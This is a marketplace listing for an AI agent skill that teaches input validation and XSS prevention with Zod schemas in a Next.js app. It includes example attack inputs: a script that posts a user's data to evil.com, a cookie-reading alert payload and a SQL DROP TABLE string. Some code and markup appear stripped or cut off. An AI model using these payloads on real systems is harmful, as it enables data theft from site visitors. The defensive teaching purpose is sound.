# Input Validation Xss Prevention

> Validate and sanitize user input to prevent XSS, injection attacks, and ensure data quality. Use this skill when you need to validate forms, sanitize user input, prevent cross-site scripting, use Zod schemas, or handle any user-generated content. Triggers include "input validation", "validate input", "XSS", "cross-site scripting", "sanitize", "Zod", "injection prevention", "validateRequest", "saf…

- **Type:** Skill
- **Install:** `agentstack add skill-harperaa-secure-claude-skills-input-validation`
- **Verified:** Pending review
- **Seller:** [harperaa](https://agentstack.voostack.com/s/harperaa)
- **Installs:** 0
- **Category:** [Agent Skills](https://agentstack.voostack.com/c/agent-skills)
- **Latest version:** 0.1.0
- **License:** MIT
- **Upstream author:** [harperaa](https://github.com/harperaa)
- **Source:** https://github.com/harperaa/secure-claude-skills/tree/main/input-validation

## Install

```sh
agentstack add skill-harperaa-secure-claude-skills-input-validation
```

Requires the [AgentStack CLI](https://agentstack.voostack.com/docs/cli). Works with Claude Code, Cursor, and any MCP-compatible agent.

## About

# Input Validation & XSS Prevention

## The Universal Truth of Web Security

**Never trust user input.** This is the foundational principle of web security.

Every major breach can be traced back to input validation failures:
- **SQL Injection** - Equifax (147 million records)
- **XSS** - British Airways (380,000 transactions, £20M fine)
- **Command Injection** - Countless others

According to OWASP, injection vulnerabilities are consistently the **#1 or #2 threat** to web applications. Input validation is not optional—it's existential.

## Understanding XSS (Cross-Site Scripting)

### The Attack

Attacker enters in a bio field:
```javascript

fetch('/api/user')
  .then(r=>r.json())
  .then(d=>fetch('https://evil.com',{
    method:'POST',
    body:JSON.stringify(d)
  }))

```

Without sanitization, when other users view this profile:
1. The script executes in their browsers
2. It steals their user data
3. Sends it to attacker's server
4. Victims never know they were compromised

### Real-World XSS Consequences

**British Airways (2018):**
XSS vulnerability allowed attackers to inject payment card harvesting script. 380,000 transactions compromised. **£20 million fine** under GDPR.

**MySpace Samy Worm (2005):**
XSS vulnerability allowed a self-propagating script that added the attacker as a friend to over 1 million profiles in 20 hours. While mostly harmless (just adding friends), it demonstrated the potential: the same technique could have stolen credentials or payment data.

## Our Input Validation Architecture

### Why Zod?

Traditional validation uses regular expressions and manual checks—error-prone and often incomplete.

**Zod provides:**
- ✅ **Type-safe validation** - TypeScript knows what's valid
- ✅ **Composable schemas** - Reuse validation logic
- ✅ **Automatic transformation** - Sanitization built-in
- ✅ **Clear error messages** - Helps users fix mistakes
- ✅ **Runtime type checking** - Catches issues in production

### The Sanitization Strategy

We remove dangerous characters that enable XSS attacks:
- `` - Prevents closing tags
- `"` - Prevents attribute injection
- `&` - Prevents HTML entity injection

**Preserved:**
- `'` - Apostrophes (for names like O'Neal, D'Angelo, McDonald's)

**Why not remove all special characters?**
Because then users named "O'Neal" can't enter their names. Security must balance safety with usability.

### Industry Validation Approach

According to OWASP and NIST guidelines, the secure approach is:
1. **Validate** (check format/type)
2. **Sanitize** (remove dangerous content)
3. **Encode on output** (escape when displaying)

We do all three:
- Zod validates format
- `.transform()` sanitizes
- React escapes output

## Implementation Files

- `lib/validation.ts` - 11 pre-built Zod schemas
- `lib/validateRequest.ts` - Validation helper that formats errors

## How to Use Input Validation

### Basic Pattern

```typescript
import { validateRequest } from '@/lib/validateRequest';
import { safeTextSchema } from '@/lib/validation';

async function handler(request: NextRequest) {
  const body = await request.json();

  // Validate and sanitize
  const validation = validateRequest(safeTextSchema, body);

  if (!validation.success) {
    return validation.response; // Returns 400 with field errors
  }

  // TypeScript knows exact shape, data is XSS-sanitized
  const sanitizedData = validation.data;

  // Safe to use
}
```

### Complete Secure API Route

```typescript
// app/api/create-post/route.ts
import { NextRequest, NextResponse } from 'next/server';
import { withRateLimit } from '@/lib/withRateLimit';
import { withCsrf } from '@/lib/withCsrf';
import { validateRequest } from '@/lib/validateRequest';
import { createPostSchema } from '@/lib/validation';
import { handleApiError, handleUnauthorizedError } from '@/lib/errorHandler';
import { auth } from '@clerk/nextjs/server';

async function createPostHandler(request: NextRequest) {
  try {
    // Authentication
    const { userId } = await auth();
    if (!userId) return handleUnauthorizedError();

    const body = await request.json();

    // Validation & Sanitization
    const validation = validateRequest(createPostSchema, body);
    if (!validation.success) {
      return validation.response;
    }

    const { title, content, tags } = validation.data;

    // Data is now:
    // - Type-safe (TypeScript validated)
    // - Sanitized (XSS characters removed)
    // - Validated (length, format checked)

    // Safe to store in database
    await db.posts.insert({
      title,
      content,
      tags,
      userId,
      createdAt: Date.now()
    });

    return NextResponse.json({ success: true });

  } catch (error) {
    return handleApiError(error, 'create-post');
  }
}

export const POST = withRateLimit(withCsrf(createPostHandler));

export const config = {
  runtime: 'nodejs',
};
```

## Available Validation Schemas

All schemas are in `lib/validation.ts`:

### 1. emailSchema
**Use for:** Email addresses

```typescript
import { emailSchema } from '@/lib/validation';

const validation = validateRequest(emailSchema, userEmail);
if (!validation.success) return validation.response;

const email = validation.data; // Normalized, lowercase
```

**Features:**
- Valid email format required
- Normalized to lowercase
- Max 254 characters
- Trims whitespace

### 2. safeTextSchema
**Use for:** Short text fields (names, titles, subjects)

```typescript
import { safeTextSchema } from '@/lib/validation';

const validation = validateRequest(safeTextSchema, inputText);
```

**Features:**
- Min 1, max 100 characters
- Removes: ` " &`
- Preserves: `'` (apostrophes)
- Trims whitespace

### 3. safeLongTextSchema
**Use for:** Long text (descriptions, bios, comments, messages)

```typescript
import { safeLongTextSchema } from '@/lib/validation';

const validation = validateRequest(safeLongTextSchema, description);
```

**Features:**
- Min 1, max 5000 characters
- Same sanitization as safeTextSchema
- Suitable for textarea content

### 4. usernameSchema
**Use for:** Usernames, slugs, identifiers

```typescript
import { usernameSchema } from '@/lib/validation';

const validation = validateRequest(usernameSchema, username);
```

**Features:**
- Alphanumeric + underscores + hyphens only
- Min 3, max 30 characters
- Lowercase only
- No spaces or special characters

### 5. urlSchema
**Use for:** Website URLs, link fields

```typescript
import { urlSchema } from '@/lib/validation';

const validation = validateRequest(urlSchema, websiteUrl);
```

**Features:**
- Must be valid URL
- HTTPS only (security requirement)
- Max 2048 characters
- Validates protocol, domain

### 6. contactFormSchema
**Use for:** Complete contact forms

```typescript
import { contactFormSchema } from '@/lib/validation';

const validation = validateRequest(contactFormSchema, formData);
if (!validation.success) return validation.response;

const { name, email, subject, message } = validation.data;
```

**Fields:**
```typescript
{
  name: string,      // safeTextSchema (1-100 chars)
  email: string,     // emailSchema
  subject: string,   // safeTextSchema (1-100 chars)
  message: string    // safeLongTextSchema (1-5000 chars)
}
```

### 7. createPostSchema
**Use for:** User-generated blog posts, articles

```typescript
import { createPostSchema } from '@/lib/validation';

const validation = validateRequest(createPostSchema, postData);
if (!validation.success) return validation.response;

const { title, content, tags } = validation.data;
```

**Fields:**
```typescript
{
  title: string,           // safeTextSchema (1-100 chars)
  content: string,         // safeLongTextSchema (1-5000 chars)
  tags: string[] | null    // Array of safeText strings (optional)
}
```

### 8. updateProfileSchema
**Use for:** Profile updates

```typescript
import { updateProfileSchema } from '@/lib/validation';

const validation = validateRequest(updateProfileSchema, profileData);
if (!validation.success) return validation.response;

const { displayName, bio, website } = validation.data;
```

**Fields:**
```typescript
{
  displayName: string | null,  // safeTextSchema (optional)
  bio: string | null,          // safeLongTextSchema (optional)
  website: string | null       // urlSchema (optional, HTTPS only)
}
```

### 9. idSchema
**Use for:** Database IDs, reference fields

```typescript
import { idSchema } from '@/lib/validation';

const validation = validateRequest(idSchema, itemId);
```

**Features:**
- Non-empty string
- Trims whitespace
- Use for validating ID parameters

### 10. positiveIntegerSchema
**Use for:** Counts, quantities, pagination

```typescript
import { positiveIntegerSchema } from '@/lib/validation';

const validation = validateRequest(positiveIntegerSchema, quantity);
```

**Features:**
- Integer only
- Must be positive (> 0)
- No decimals

### 11. paginationSchema
**Use for:** Pagination parameters

```typescript
import { paginationSchema } from '@/lib/validation';

const validation = validateRequest(paginationSchema, {
  page: queryParams.page,
  limit: queryParams.limit
});

const { page, limit } = validation.data;
```

**Fields:**
```typescript
{
  page: number,   // Default: 1, Min: 1
  limit: number   // Default: 10, Min: 1, Max: 100
}
```

## Creating Custom Schemas

### Custom Schema Template

```typescript
// lib/validation.ts

import { z } from 'zod';

// Add your custom schema
export const myCustomSchema = z.object({
  field: z.string()
    .min(1, 'Required')
    .max(200, 'Too long')
    .trim()
    .transform((val) => val.replace(/[<>"&]/g, '')), // XSS sanitization
});

export type MyCustomData = z.infer;
```

### Complex Schema Example

```typescript
// Registration form with multiple validations
export const registrationSchema = z.object({
  username: usernameSchema,
  email: emailSchema,
  password: z.string()
    .min(12, 'Password must be at least 12 characters')
    .regex(/[A-Z]/, 'Must contain uppercase letter')
    .regex(/[a-z]/, 'Must contain lowercase letter')
    .regex(/[0-9]/, 'Must contain number')
    .regex(/[^A-Za-z0-9]/, 'Must contain special character'),
  passwordConfirm: z.string(),
  agreeToTerms: z.boolean().refine(val => val === true, {
    message: 'You must agree to terms'
  })
}).refine((data) => data.password === data.passwordConfirm, {
  message: "Passwords don't match",
  path: ["passwordConfirm"]
});
```

### Conditional Validation

```typescript
export const orderSchema = z.object({
  orderType: z.enum(['pickup', 'delivery']),
  address: z.string().optional(),
  phone: z.string().optional()
}).refine(
  (data) => {
    if (data.orderType === 'delivery') {
      return !!data.address && !!data.phone;
    }
    return true;
  },
  {
    message: 'Address and phone required for delivery',
    path: ['address']
  }
);
```

## Frontend Validation

### Client-Side Pre-validation

```typescript
'use client';

import { useState } from 'react';
import { createPostSchema } from '@/lib/validation';

export function CreatePostForm() {
  const [errors, setErrors] = useState>({});

  async function handleSubmit(e: React.FormEvent) {
    e.preventDefault();
    setErrors({});

    const formData = new FormData(e.currentTarget);
    const data = {
      title: formData.get('title'),
      content: formData.get('content'),
      tags: formData.get('tags')?.toString().split(',').filter(Boolean) || null
    };

    // Client-side validation (UX improvement, not security)
    const validation = createPostSchema.safeParse(data);

    if (!validation.success) {
      const fieldErrors: Record = {};
      validation.error.errors.forEach((err) => {
        if (err.path[0]) {
          fieldErrors[err.path[0].toString()] = err.message;
        }
      });
      setErrors(fieldErrors);
      return;
    }

    // Submit to server (server validates again!)
    try {
      const response = await fetch('/api/posts', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify(validation.data)
      });

      if (response.ok) {
        alert('Post created!');
      }
    } catch (error) {
      console.error('Error:', error);
    }
  }

  return (
    
      
        
        {errors.title && {errors.title}}
      

      
        
        {errors.content && {errors.content}}
      

      
        
        {errors.tags && {errors.tags}}
      

      Create Post
    
  );
}
```

**Important:** Client-side validation is for UX only. **Always validate on the server** - client-side validation can be bypassed.

## Attack Scenarios & Protection

### Attack 1: XSS via Comment

**Attack:**
```javascript
POST /api/comment
{
  "content": "alert(document.cookie)"
}
```

**Protection:**
```typescript
const validation = validateRequest(safeLongTextSchema, body);
// Result: content = "alert(document.cookie)"
//  removed, script harmless
```

### Attack 2: SQL Injection Attempt

**Attack:**
```javascript
POST /api/search
{
  "query": "'; DROP TABLE users; --"
}
```

**Protection:**
```typescript
const validation = validateRequest(safeTextSchema, body);
// Result: query = "'; DROP TABLE users; --"
// Still contains SQL, but parameterized queries prevent execution
// Additionally, input length limited, special chars sanitized
```

**Note:** Use parameterized queries in database layer for full SQL injection protection.

### Attack 3: Buffer Overflow via Long Input

**Attack:**
```javascript
POST /api/profile
{
  "bio": "A".repeat(1000000) // 1 million characters
}
```

**Protection:**
```typescript
const validation = validateRequest(updateProfileSchema, body);
// Result: Validation fails
// Error: "Bio must be at most 5000 characters"
// HTTP 400 returned before processing
```

### Attack 4: Script Injection in Multiple Fields

**Attack:**
```javascript
POST /api/contact
{
  "name": "evil()",
  "email": "attacker@evil.com",
  "subject": "",
  "message": "Normal message"
}
```

**Protection:**
```typescript
const validation = validateRequest(contactFormSchema, body);
// Results:
// name: "evil()"
// email: "attacker@evil.com"
// subject: ""
// message: "Normal message"
// All dangerous tags removed automatically
```

## Testing Input Validation

### Test XSS Sanitization

```bash
# Test XSS in title
curl -X POST http://localhost:3000/api/example-protected \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: " \
  -d '{"title": "alert(1)"}'

# Expected: 200 OK, but title = "alert(1)"
```

### Test Validation Errors

```bash
# Test too-long input
curl -X POST http://localhost:3000/api/example-protected \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: " \
  -d "{\"title\": \"$(printf 'A%.0s' {1..200})\"}"

# Expected: 400 Bad Request
# {
#   "error": "Validation failed",
#   "details": {
#     "title": "String must contain at most 100 character(s)"
#   }
# }
```

### Test Email Validation

```bash
# Test invalid email
curl -X POST http://localhost:3000/api/contact \
  -H "Content-Type: application/json" \
  -d '{
    "name": "Test",
    "email": "not-an-email",
    "subject": "Test",
    "message": "Test"
  }'

# Expected: 400 Bad Request
# { "error": "Validation failed", "details": { "email": "Invalid email" } }
```

## Error Response Format

When validation fails, `validateRequest()` returns:

```typescript
{
  error: "Validation failed",
  details: {
    fieldName: "Error message",
    anotherField: "Another error"
  }
}
```

HTTP Status: **400 Bad Request**

## Common Validation Patterns

### Pattern 1: Optional Fields

```typescript
const schema = z.object({
  required: safeTextSchema,
  optional: safeTextSchema.optional(),
  nullable: safeTextSchema.nullable(),
  optionalWithDefault: safeTextSchema.default('default value')
});
```

### Pattern 2: Array Validation

```typescript
const schema = z.object({
  tags: z.array(safeTextSchema).max(10, 'Maximum 10 tags'),
  categories: z.array(z.string()).min(1, 'At least one category required')
});
```

### Pattern 3: Enum Values

```typescript
c

…

## Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

- **Author:** [harperaa](https://github.com/harperaa)
- **Source:** [harperaa/secure-claude-skills](https://github.com/harperaa/secure-claude-skills)
- **License:** MIT

Install and usage instructions live in the source repository linked above.

## Pricing

- **Free** — Free

## Security capabilities

Automated source analysis of v0.1.0 — what this tool can access:

- **Network access:** yes
- **Filesystem access:** no
- **Shell / process execution:** no
- **Environment & secrets:** no
- **Dynamic code execution:** no

*"Yes" means the capability is present in the source — more access means more to trust, not that it is unsafe.*


## Versions

- **0.1.0** — security scan: flagged — Imported from the upstream source.

## Links

- Listing page: https://agentstack.voostack.com/l/skill-harperaa-secure-claude-skills-input-validation
- Seller: https://agentstack.voostack.com/s/harperaa
- Browse the marketplace: https://agentstack.voostack.com/browse

---
Listed on AgentStack — the marketplace for AI agent skills and MCP servers. Every listing is security-reviewed. Creators keep 70%.
